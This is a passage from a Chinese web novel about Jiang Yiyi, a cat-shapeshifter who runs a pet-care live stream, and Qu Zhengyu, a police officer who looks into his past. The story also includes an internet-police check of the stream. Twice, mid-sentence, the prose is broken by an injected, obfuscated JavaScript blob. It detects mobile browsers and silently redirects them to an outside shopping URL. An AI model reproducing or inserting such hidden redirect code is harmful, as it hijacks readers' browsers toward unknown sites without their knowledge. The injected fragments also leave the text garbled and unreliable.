他把钱塞回屁股后的裤兜,“那你先等一下。” 屈政彧趁时长腿一迈,十分自然地进了院。 江亦一拉都拉不住他,“谁让你进来的?” 屈政彧还挺无辜,“不是你让我等一下?” “我让你在门口等!” “门口蚊子多。”屈政彧说得理直气壮:“我怕蚊子咬。” 江亦一无语。 你个一米九几的大卡车怕什么蚊子? 屈政彧两手插兜,跟在小孩身后晃,“腰上的伤好些没有?” 对他人的关心,江亦一一向不太会接,下意识往下拽了拽衣摆,“好多了……谢谢你买的药,多少钱我,” “付过了。”屈政彧语气带笑,打断说:“面很好吃,足够抵了。” 江亦一身子一顿,没有说话,过了几秒,开始打水洗脚。 屈政彧提起裤腿,大马金刀地往小凳上一坐,膝盖大喇喇地敞着,“你试穿个鞋还要这么讲究啊?” “又不是立马就穿出门,放柜子里当然要干干净净的。”江亦一说得自然,脸忽然一抬,顶着脑袋上一小撮不知什么时候翘起来的毛警惕道:“而且先说好了,不合适我要退的。” 屈政彧简直想揪他那撮不知道是精明还是呆傻的毛,“行啊,我也不是那种霸王条款的人,给退。” 江亦一满意了,踩着脚洗,偶尔抬起的脚面白生生的,蒙着夜色中的水光。 屈政彧问:“考上大学了吗?” 哗哗的水声一停,江亦一提脚擦水,“废话。” 小呆样儿还挺自信。屈政彧笑了,“考哪了?” 江亦一白了他一眼,“你打听那么多干什么?” “关心人民群众嘛。” 江亦一其实也有点好奇他,抿着嘴半晌才问:“你真是警察啊?警察怎么还干城管和交警的活?” 屈政彧从喉间低低哼出一声,灰黑色的眼睛在灯下显得很深,笑意懒懒浮着,“你想知道啊?” 江亦一微微睁大眼睛。 屈政彧一字一句轻飘飘的,“我也不告诉你。” 江亦一板着脸,起身泼掉水。 鞋子很合适,脚感也舒服,江亦一给钱给得大方,“喏,给你。” 屈政彧手插在兜里,到底还是拿了出来。 “还有这个。”江亦一把屈政彧上次留下的钱也还给他,“以后不要再这样了。” “谢谢你。”他微微抿了抿嘴,声音有些低:“我知道你是好意,但我是大人了,我能打工,也能赚钱。” 屈政彧垂下眼眸,不笑的时候,眉骨和眼窝的影子便压下来,“不累吗?” 江亦一有些奇怪地看了他一眼,“不累啊,我劲大得很。” 屈政彧笑了笑,接过钱说:“那我先走了。” 机车轰隆驶离,江亦一锁好门回到屋里。 这几件衣服买得太值了,他喜不滋地摸了一会才放进橱里。 橱角下压着一个墨绿色的硬壳信封。 封面沉静,颜色像雨后深浓的树影。打开以后,白底上印着一棵枝叶繁茂的梧桐,树冠铺开,占了满满半页。 旁边是院长亲笔写下的欢迎语与院训:悲悯众生。 江亦一看了一会儿,把通知书往里推了推。 不累啊,只是有时候,会有一些难过。 他关上橱门,咔哒一声。 给猫狗弄了饭,给爷爷喂了药,江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537099|203786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亦一给自己下了碗面,很奢侈地卧了两个蛋。 端着面条走到院里,正要放上小桌,就看见桌上有个东西。 巴掌大,小小一个,白色的奶油托着鲜红的草莓。 哪里来的蛋糕? 江亦一怔在原地。 直到面碗烫得指腹发疼,他才连忙放下东西,一手捏着耳垂,一手伸向蛋糕旁的卡片。 贺卡很小,夹在透明的盒子和丝带之间。 江亦一抽出来,打开,上头写着:生日快乐,江亦一。 下面还有一串数字。 有事打电话,不要再傻乎乎地找。 江亦一捏着卡片,垂着脑袋站了许久,“怎么这么爱多管闲事。” 那屈政彧还真不是爱多管闲事的人。 能让他上心的通常都不是什么好人,只这一个另类。 这或许也是屈政彧对江亦一感兴趣的原因? 屈政彧咬着烟,拉开冰箱门,拿了瓶啤酒走进书房。 回公安的手续还在交接,但他的权限已经恢复。 屈政彧打开档案库,搜索着江亦一的资料。 梧城江区一中,年年都拿奖学金,高考分数保密。 小朋友成绩很好嘛,怪不得那么神气。 屈政彧勾起唇角,灌了口酒,继续往下翻。 两岁失怙,母亲下落不明,由姑姑抚养至六岁。六岁时失踪近半年,后由一位名叫高良姜的老人报案寻回。 因姑姑无力抚养,且高良姜表现出强烈的领养意愿,经走访核实后,江亦一被暂时安置在高良姜名下,直至如今成年。 很简单的资料,半分钟就能扫完。 蟒蛇绕上肩头,屈政彧脸上的笑意不知何时退了去,只一下一下抚着蛇颈。 高良姜,职业兽医,长期救助流浪动物。户籍资料显示健在,名下也无死亡注销记录。 可屈政彧去了他家两次,都没看见过。 人呢? “怎么了,爷爷。”小黑白猫爬起身问:“是要喝水吗?” 高良姜含含糊糊否定了一声:“一一啊。” 江亦一叼着小枕头拖过来,塞他头下面,“一一在呢。” “钱、钱……” 除了吃喝,高良姜少有清醒的时候,几乎都是在喊钱。 江亦一踩踩他,“你不用担心钱,我能赚钱,过几天就能把房租交上了。” 可高良姜这次却没被踩放松下去,反而愈发焦急胡喊:“一一,钱,钱啊,一一……” 眼见他越来越激动,江亦一无法,只能变人给他打了一针安定。 随着药效起来,老猫的呼吸渐渐平静。 江亦一轻轻顺过他的身体,起身穿了衣服。 从楼上到楼下,猫狗横七竖八睡了一地。江亦一小声绕过它们,去拿自己的手机。 钱啊钱,你可真是个好东西。 江亦一在等待开机亮起的间隙里,呆呆想,怎么赚钱就这么难呢。 还是小猫不够努力。 小猫得再努力一点。 江亦一深吸一口气,打算明天再去找几份工打。白天打工晚上连线,一定能够赚到钱的。 小猫加油! 他给自己鼓足了劲,却在看见直播后台里的待结算收益时愣住了。 1,2,3,4……四个0? 16.网警连线 江亦一十八岁的第二天,时来运转,却依然顶着两团熊猫眼睁开眼睛。 为什么一场直播会收入三万多块……他想了一夜,还是不敢置信。 奶牛猫劈叉坐在床上,两只前爪搭着手机。 他盯着后台收益看了能有半分钟,又扒拉了一下屏幕。 数字没少。 再扒拉一下。 还是没少。 小猫缓慢地、庄严地、跳下地,走到椅子旁,拉长身体,竖起尾巴——库库开抓。 三万!三万! 他抓兴奋了,扭在地上后腿一蹬,狠狠给了椅子腿两下兔子踹。踹完爬起来就跑了两圈酷,尾巴尖抖得像要飞起来。 小猫发财了。 小猫一晚上就赚到了以前一年才能赚到的钱。 江亦一哼哧哼哧又抓了一会儿,才终于大发慈悲,饶了饱经风霜的椅子腿。 清晨的白光从窗口晃进来,很轻一摇,黑白色的小猫不见了,黑发白肤的少年赤脚站在地上。 江亦一套着衣服裤子往楼下走,正塞着T恤下摆,就见一群猫狗乌泱泱地围在观察室门口。 半耳橘一看见他,立刻小跑过来,拿脑袋蹭他脚踝,“刀疤狸好像醒了。” 江亦一话还没说,眼睛先是一亮。 “都别挤在这儿,空气不流通了。”他声音清朗,脚步轻快,拨开一只只小家伙走了进去,“大黄去把门口的垃圾丢了。” 刀疤狸躺在隔离笼里,听见他的声音,慢慢睁开眼睛。 “有哪里不舒服吗?”江亦一探了探它的体温。 刀疤狸精神还不大好,张了张嘴,只发出一声没什么意义的低叫。 江亦一从它的额头轻轻顺下去,摸过它消瘦下去的背脊,“好好休息,不要担心,你的伙伴都被救回来了。” 刀疤狸喉咙动了动,又哑哑地叫了一声。它慢慢把脑袋往前挪了一点,贴进江亦一的掌心里,眼角有些湿了。 江亦一轻声说:“好猫。” 晨时的井水凉爽,江亦一打水洗脸,拧干毛巾往脸上一扑,深深吸了口带着水气的空气。 太阳还没完全升高,天气真好。他将毛巾挂在绳上,眼睛闪闪发亮。 继续赚钱! 可真拿起手机,清楚认知到这些钱真的存在后,先涌上来的反而是忐忑。 周宁的钱真的不用退吗?这么多的打赏应该接吗? 他想找人商量,可除了小猫小狗,他没有可以商量的人。 小桌上空荡荡的蛋糕盒还在。 江亦一绝不是自己想吃。 是小猫小狗都好奇是什么味道,他才勉为其难替大家吃了一点。 一点点。 江亦一拿起卡片,盯着上面的数字都要能背了,这才拨了电话。 电话音笃笃响了一会,没有人应,就在江亦一准备挂断时,传出声响:“喂?” 那人声音很低,带着刚睡醒的沙哑。没了平日里总夹在嗓音中的笑意,听起来很成熟。 江亦一张了张嘴,又闭上了。 “江亦一?”对面倒先开口了。 江亦一闷闷“嗯”了一声:“那个,蛋糕……谢谢。” “吃完了?” 江亦一立刻道:“没有全吃。”说完又觉得这话很奇怪,补了一句:“就吃了一点。” 屈政彧声音里的那点笑意明显了些:“我也没问你吃了多少。” 江亦一抿住嘴。 “好了,不开玩笑。”屈政彧那边传来一点窸窣声,像是起床了,有开窗的声响,“有事吗?” 江亦一指头抠着蛋糕盒上的丝带,说:“我遇到了点事情,就是……” 他和屈政彧说了缘由。 “不用退。”屈政彧语气笃定。 江亦一连忙解释说:“可是那个金额是设置错的,而且我也没应赌约。” “不管你金额设置了多少,在她申请连线时,就代表她接受了这个数字。”屈政彧说:“这和明码标价买东西一样。你没有欺骗,没有强迫,也没有故意诱导她消费。合情,合理,合法。” 江亦一抠着丝带的手顿住。 “至于打赏,那是内容消费,也是别人对你的认可,你非要退回岂不是否定别人的认同?” “是这样的吗……” “那是你凭本事赚的钱,江亦一。”屈政彧的声音听着沉静:“你要相信自己。” ……是小猫凭本事赚的钱。 江亦一突然悟了。不管是赚得轻松还是赚得艰难,那都是他努力得到的。 耳尖一点点冒出红意,他低头看着被自己抠出毛边的丝带,不好意思地松手说:“谢谢你。” 电话那头传来一点很低的笑,“不客气。” 江亦一耳朵更热,飞快道:“那我挂了。” “嗯。” 电话都快从耳边拿下来了,江亦一指尖却又顿住,忽然重新把手机贴在耳上,声音绷得很紧:“那个。” 屈政彧没挂,像是一直等着,“嗯?” “有时间,有时间的话。” 屈政彧没有插口。 江亦一屏住呼吸,一口气道:“我请你吃牛肉面。” 电话那头静了半秒。随即,屈政彧笑了,“不会又没有牛吧?” “有牛!”江亦一瞬间炸毛,“有牛!好多牛!” 电话那边哈哈大笑,气得江亦一啪得挂了电话。一低头,又瞧见猫狗围了一圈,纷纷歪头看他。 “看什么看!”他凶道:“都准备干活!” 脸薄的小猫老板挥舞皮鞭,很凶很恶地安排员工工作。 他本就是爱较劲的性子,打定主意要做的事就要认真做。读完平台规则,又理清了直播收益的构成,江亦一找来纸笔,趴在小桌上,一笔一画写下计划。 一切准备妥当,他深吸一口气,点下开播。 不过今天时间不凑巧,工作日的大白天,观众寥寥。右上角零星几个人数,有弹幕说:【主播说话啊。】 江亦一懵了一下,头两次都是直接就连线了,现在没有连麦人,他一时间真不知该说什么。 江亦一盯着屏幕看了几秒,严肃地清了清嗓子:“大家好。” 弹幕沉默。 【然后呢?】 江亦一:“……” 然后? 然后还要有然后吗?QAQ 就在江亦一努力想着能说的话时,屏幕一闪,连线接了进来。 “你好,网警净网巡查。”对方穿着制服,公事公办道:“你这个直播间是干什么的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539361|203786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 直播间安静了一瞬。 下一秒,弹幕炸了。 【我靠,爆金了!网警怎么来了?】 【不是吧不是吧,刚开播就被查了?】 【前排围观反诈现场。】 江亦一回过神,背脊挺直了些,“给小猫小狗看病,然后和它们沟通。” 网警一早上班就看见后台堆了好几条关于这个直播间的举报信息,因此第一时间就查了过来。 “哦,又是什么和去世宠物通灵,看一眼照片就知道猫狗前世今生的?” 江亦一回的认真:“不是的,我是真的看病。不过我还没有执业资格,所以健康方面只是提供问诊建议。” 【那不就是普通兽医?】 【啥呀,连执业资格都没有,普通兽医都不如。】 网警问:“那和宠物沟通是什么意思?” 就在江亦一解释的功夫里,陆续有关注前两场直播的观众点了进来。 【神医!你终于开播了!】 【我们今天查谁的性别!】 新观众不明所以:【什么鬼,你们在说什么?】 【你们竟然不知道吗?主播昨天诊出了三只猫的性别。】 【性别这玩意不是一眼就明白?】 【天真了兄弟,你太天真了。】 新观众与网警都没看过前景提要,但打假嘛,简单。 网警不会听江亦一一言之词,也不会信什么神乎其神的隔空问诊,他直接端着手机往外走,“既然你这么说了,那就帮我看看局里的这只狗是什么情况。” 【哇,幸运!一来就看见新问诊了。】 屏幕上接连闪起小礼物。 网警提醒道:“在打假结果出来前,大家不要盲目打赏,不要跟风消费。” 礼物特效停了一瞬。 下一秒,又飘过去两个小猫爪。 【收到,不盲目。】 【前排赞助反诈事业。】 这个网警看样子也是小有名气,自他进来后,直播间的人数就开始蹭蹭往上涨,甚至不少流量主播也跟着进来了。 【小王警官今天上班这么早。】 “都不许嘻嘻哈哈,打假是很严肃的事情。”王警官拉开门,朝外大喊:“飞虎!” 一声嗷呜随即响起。 黑背黄腹的大德牧从走廊另一头冲了出来,爪子在地砖上打了个滑,结结实实扑到王警官脚边。 “丢人玩意儿!”王警官笑骂一声,鞋尖推开狗脑袋,“就是这只,你看看它的问题。” 江亦一倾身往前,仔细看了看,“你得先告诉我它的异常情况。” “你不是能沟通吗?怎么还要我说呢?” 【就是就是。】 【打假预备——】 江亦一不急不慢解释说:“小动物对世界的感知和人不一样。我得先知道,在你们看来它到底哪里不对劲。” 【说的跟真的一样。】 “行啊,那我告诉你吧。”王警官说:“它白天都活蹦乱跳,一到要下班了就开始喘不上气,送去医院查好几回了都检查不出毛病。” 江亦一和德牧对视了一眼。 对不起了狗,猫还得赚钱。 江亦一斩钉截铁:“装的。”